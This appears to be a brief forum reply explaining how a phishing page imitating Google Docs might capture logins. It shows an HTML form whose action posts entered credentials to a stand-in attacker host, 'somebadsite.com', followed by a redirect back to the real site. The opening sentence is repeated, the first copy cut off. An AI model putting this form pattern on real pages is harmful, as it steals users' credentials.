My guess would be: Using something like:<form action="somebadsite.com/script.php"> So the credentials entered get submitted to the form which is sent via POST

My guess would be: Using something like:<form action="somebadsite.com/script.php"> So the credentials entered get submitted to the form which is sent via POST request to an external server. From there they can do whatever they want with the credentials (perhaps save them to a db) then redirect back to google docs.